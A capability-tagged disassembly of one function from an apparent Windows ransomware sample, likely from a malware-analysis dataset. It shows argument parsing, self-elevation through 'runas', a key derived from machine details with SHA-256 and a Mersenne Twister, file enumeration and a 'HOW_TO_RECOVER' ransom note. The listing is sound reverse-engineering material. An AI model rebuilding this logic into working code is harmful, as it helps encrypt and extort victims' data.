Function at 0x140007bdc
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Get common file path
Get disk information
Get hostname
Hash data using sha256
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x458]
sub rsp, 0x530
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x420], rax
xor esi, esi
mov rdi, rcx
mov qword [rbp - 0x58], rsi
mov r14b, sil
mov qword [rbp - 0x60], rsi
mov byte [rsp + 0x40], sil
mov dword [rbp - 0x50], esi
call qword [sym.imp.KERNEL32.DLL_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x50]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
or r15, 0xffffffffffffffff
lea r13d, [rsi + 1]
mov r12, rax
test rax, rax
je 0x140007fd7
mov dword [rbp - 0x4c], r13d
cmp dword [rbp - 0x50], r13d
jle 0x140007fc8
lea esi, [r13 + 1]
xor r14d, r14d
lea rbx, [rax + 8]
mov rcx, qword [rbx]
lea rdx, [0x1400509b4]
call qword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
jne 0x140007c8a
cmp dword [rbp - 0x50], esi
jl 0x140007c8a
lea rcx, [rbp - 0x58]
jmp 0x140007cde
mov rcx, qword [rbx]
lea rdx, [0x1400509c0]
call qword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
jne 0x140007cc1
cmp dword [rbp - 0x50], esi
jl 0x140007cc1
mov rdx, qword [rbx + 8]
lea r8, [0x1400509bc]
lea rcx, [rbp - 0x60]
call fcn.140026794
mov byte [rsp + 0x40], 1
jmp 0x140007d76
mov rcx, qword [rbx]
lea rdx, [0x1400509c8]
call qword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
jne 0x140007cf3
cmp dword [rbp - 0x50], esi
jl 0x140007cf3
lea rcx, [rbp - 0x60]
mov rdx, qword [rbx + 8]
lea r8, [0x1400509bc]
call fcn.140026794
jmp 0x140007d76
mov rcx, qword [rbx]
lea rdx, str._path
call qword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
jne 0x140007d54
cmp dword [rbp - 0x50], esi
jl 0x140007d54
mov rax, qword [rdi + 8]
lea r8, [rbx + 8]
cmp rax, qword [rdi + 0x10]
je 0x140007d47
mov rdx, qword [r8]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r14
mov r8, r15
mov qword [rax + 0x18], r14
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140007d2e
mov rcx, rax
call fcn.140004b30
add qword [rdi + 8], 0x20
jmp 0x140007d76
mov rdx, rax
mov rcx, rdi
call fcn.14000aff8
jmp 0x140007d76
mov rcx, qword [rbx]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
jne 0x140007d76
cmp dword [rbp - 0x50], esi
jl 0x140007d76
mov rcx, qword [rbx + 8]
call fcn.140027144
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000842a
and qword [rbp - 0x78], 0
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea r8, [rbp - 0x78]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007dd4
mov ecx, 4
lea rax, [rbp - 0x20]
mov dword [rbp - 0x20], ecx
lea r8, [rbp - 0x1c]
mov r9d, ecx
mov qword [rsp + 0x20], rax
lea edx, [rcx + 0x10]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne r14d, dword [rbp - 0x1c]
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x140007de3
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test r14d, r14d
jne 0x140007f62
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, 0xf8
call fcn.14001f5c0
lea rcx, [rbp + 0xe0]
call fcn.140009554
lea r13d, [r14 + 1]
cmp dword [rbp - 0x50], r13d
jle 0x140007e4e
lea r14, [r12 + 8]
lea rcx, [rbp + 0xf0]
call fcn.140009ec4
mov rdx, qword [r14]
mov rcx, rax
call fcn.14000a1b4
mov rcx, rax
lea rdx, [0x140050a44]
call fcn.14000a1b4
inc r13d
lea r14, [r14 + 8]
cmp r13d, dword [rbp - 0x50]
jl 0x140007e1b
xor eax, eax
xor r14d, r14d
mov qword [rbp - 0x68], rax
xorps xmm0, xmm0
mov eax, dword [rbp + 0x168]
and al, 0x22
mov qword [rbp - 0x30], r14
lea ecx, [r14 + 7]
mov qword [rbp - 0x28], rcx
movups xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x40], r14w
movups xmmword [rbp - 0x78], xmm0
cmp al, 2
je 0x140007eaf
mov rax, qword [rbp + 0x138]
mov r8, qword [rax]
test r8, r8
je 0x140007eaf
cmp r8, qword [rbp + 0x160]
mov rax, qword [rbp + 0x118]
cmovb r8, qword [rbp + 0x160]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x140007eee
test byte [rbp + 0x168], 4
jne 0x140007ee6
mov rax, qword [rbp + 0x130]
mov r9, qword [rax]
test r9, r9
je 0x140007ee6
mov rax, qword [rbp + 0x110]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x148]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, r9
jmp 0x140007eaa
mov r8, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x78]
test rdx, rdx
je 0x140007f00
lea rcx, [rbp - 0x40]
call fcn.140009d70
mov rcx, qword [rbp - 0x28]
mov r8, qword [r12]
lea r9, [rbp - 0x40]
cmp rcx, 8
mov dword [rsp + 0x28], 5
lea rdx, str.runas
mov qword [rsp + 0x20], r14
cmovae r9, qword [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x40]
call fcn.140004a50
lea rcx, [rbp + 0x178]
call fcn.140009470
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0x178]
mov qword [rbp + 0x178], rax
call fcn.14001de7c
mov r13d, dword [rbp - 0x4c]
jmp 0x140007f65
xor r14d, r14d
mov rax, qword [rdi + 8]
cmp rax, qword [rdi + 0x10]
je 0x140007f9c
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r14
mov r8, r15
mov qword [rax + 0x18], r14
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140007f83
mov rcx, rax
call fcn.140004b30
add qword [rdi + 8], 0x20
jmp 0x140007faa
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.14000aff8
inc r13d
inc esi
add rbx, 8
mov dword [rbp - 0x4c], r13d
cmp r13d, dword [rbp - 0x50]
jl 0x140007c6b
mov r14b, byte [rsp + 0x40]
xor esi, esi
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_LocalFree]
mov r13d, 1
lea rcx, [rbp - 8]
call qword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
mov r9d, r13d
or rax, rdx
mov dword [rsp + 0x20], esi
imul eax, ecx
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x18]
imul eax, dword [rbp - 8]
mov dword [rbp - 0x48], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140008055
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x80090016
jne 0x140008074
mov r9d, r13d
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x18]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140008074
mov rcx, qword [rbp - 0x18]
lea r8, [rbp - 0x48]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x18]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x48]
lea r10, [0x14005c050]
mov dword [0x14005c050], eax
mov edx, r13d
mov eax, r13d
mov ebx, r13d
mov r8d, r13d
mov r9d, r13d
cdqe
mov ecx, dword [r10 + rax*4 - 4]
shr ecx, 0x1e
xor ecx, dword [r10 + rax*4 - 4]
movsxd rax, ebx
imul ecx, ecx, 0x6c078965
add ecx, edx
lea edx, [r8 + 1]
mov dword [r10 + rax*4], ecx
mov ebx, edx
movsxd rax, r9d
mov r8d, edx
mov dword [0x14005ca10], edx
mov r9d, edx
mov dword [r10 + rax*4], ecx
mov eax, edx
cmp edx, 0x270
jl 0x140008093
mov ecx, r13d
call qword [sym.imp.KERNEL32.DLL_SetErrorMode]
xor eax, eax
mov byte [rsp + 0x68], 9
xorps xmm0, xmm0
mov qword [rsp + 0x79], rax
lea rdx, [rbp - 0x44]
mov dword [rbp - 0x7f], eax
lea rcx, [rbp + 0x330]
mov word [rbp - 0x7b], ax
movups xmmword [rsp + 0x69], xmm0
mov byte [rbp - 0x79], al
movups xmmword [rbp + 0x330], xmm0
mov dword [rsp + 0x48], 0x7afa20cd
mov dword [rsp + 0x4c], 0xaa84f355
mov dword [rsp + 0x50], 0x45c127ff
mov dword [rsp + 0x54], 0x63bd3666
mov dword [rsp + 0x58], 0x219e3274
mov dword [rsp + 0x5c], 0x8166807b
mov dword [rsp + 0x60], 0x45204f1a
mov dword [rsp + 0x64], 0xffc1b891
mov dword [rbp - 0x44], 0x10
call qword [sym.imp.KERNEL32.DLL_GetComputerNameA]
mov ebx, 0x40
mov qword [rbp - 0x10], rsi
mov r8d, ebx
lea rcx, [rbp + 0x3e0]
xor edx, edx
call fcn.14001f5c0
mov edx, ebx
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x3e0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov r8d, r13d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov rbx, rax
cmp rax, r15
je 0x1400081d4
xor r9d, r9d
lea rdx, [rbp - 0x10]
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, 0x208
call fcn.14001f5c0
mov edx, 0x104
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
test eax, eax
je 0x14000823e
mov dword [rsp + 0x38], esi
lea r9, [rbp - 0x4c]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x28], rsi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov word [rbp + 0xe6], si
mov dword [rbp - 0x4c], esi
call qword [sym.imp.KERNEL32.DLL_GetVolumeInformationW]
test eax, eax
je 0x14000823e
mov r8d, dword [rbp - 0x4c]
test r8d, r8d
jne 0x140008244
mov r8d, 0xdead
movsd xmm1, qword [0x140059c20]
xor eax, eax
xor ecx, ecx
mov dword [rbp + 0x340], r8d
cpuid
xorps xmm0, xmm0
movsd qword [rbp + 0x354], xmm1
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x78], eax
mov eax, dword [0x140059c28]
mov dword [rbp - 0x70], ecx
lea rcx, [rbp + 0x368]
mov dword [rbp - 0x6c], edx
lea rdx, [rbp + 0x330]
mov dword [rbp + 0x35c], eax
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x74], ebx
movups xmm0, xmmword [rbp - 0x78]
mov ebx, dword [rbp - 0x44]
mov dword [rbp + 0x360], eax
mov r8d, ebx
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x364], eax
movdqu xmmword [rbp + 0x344], xmm0
call fcn.14001f9c0
and qword [rbp + 0x60], 0
lea r8d, [rbx + 0x28]
mov r13d, 0x9b05688c
mov dword [rbp + 0x40], 0x6a09e667
mov r12d, 0x1f83d9ab
mov dword [rbp + 0x54], r13d
mov esi, 0x5be0cd19
mov dword [rbp + 0x58], r12d
lea rdx, [rbp + 0x340]
mov dword [rbp + 0x5c], esi
lea rcx, [rbp]
mov dword [rbp + 0x44], 0xbb67ae85
mov dword [rbp + 0x48], 0x3c6ef372
mov dword [rbp + 0x4c], 0xa54ff53a
mov dword [rbp + 0x50], 0x510e527f
call fcn.1400040a0
lea rdx, [rbp + 0x398]
lea rcx, [rbp]
call fcn.140004164
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x378]
call fcn.1400036c8
lea r8, [rsp + 0x68]
lea rdx, [rbp + 0x378]
lea rcx, [0x14005ba30]
call fcn.1400036c8
lea r8, [0x140059c38]
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x3b8]
call fcn.1400036c8
xor eax, eax
mov dword [rbp + 0xb0], 0x6a09e667
lea rdx, [rbp + 0x3b8]
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0x70]
mov dword [rbp + 0xb4], 0xbb67ae85
mov dword [rbp + 0xb8], 0x3c6ef372
lea r8d, [rax + 0x20]
mov dword [rbp + 0xbc], 0xa54ff53a
mov dword [rbp + 0xc0], 0x510e527f
mov dword [rbp + 0xc4], r13d
mov dword [rbp + 0xc8], r12d
mov dword [rbp + 0xcc], esi
call fcn.1400040a0
lea rdx, [0x14005ba08]
lea rcx, [rbp + 0x70]
call fcn.140004164
call fcn.14000bf88
mov eax, dword [0x140059c34]
lea r8, [rbp + 0xe0]
xor esi, esi
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor edx, edx
lea rcx, str.C:
call qword [sym.imp.KERNEL32.DLL_FindFirstFileExW]
mov rbx, rax
cmp rax, r15
jne 0x14000849a
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x57
jne 0x14000849a
mov dword [0x140059c34], esi
jmp 0x1400084a3
xorps xmm0, xmm0
lea rdx, str.File_not_found_OR_Invalid_argument
xorps xmm1, xmm1
lea rcx, [rbp - 0x40]
mov r8d, 0x23
movups xmmword [rbp - 0x40], xmm0
movdqu xmmword [rbp - 0x30], xmm1
call fcn.140004b30
movsxd rax, r13d
mov rdx, qword [r12 + rax*8]
inc r15
cmp word [rdx + r15*2], r14w
jne 0x140008456
mov r8, r15
lea rcx, [rbp - 0x40]
call fcn.140004ab4
cmp qword [rbp - 0x28], 8
lea rdx, [rbp - 0x40]
mov r9d, 0x10
lea r8, str.Error
cmovae rdx, qword [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x40]
call fcn.140004a50
jmp 0x14000850f
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_FindClose]
lea r8, [0x14005bbb0]
call fcn.140005c10
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x140007b48]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rdx, qword [rbp - 0x60]
mov r9, rdi
mov rcx, qword [rbp - 0x58]
mov r8b, r14b
mov rbx, rax
call fcn.1400069f0
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.140005f24
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x14005ba08], xmm0
movups xmmword [0x14005ba18], xmm0
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
call fcn.1400075ac
mov rcx, rdi
call fcn.140009b5c
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.14001c740
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret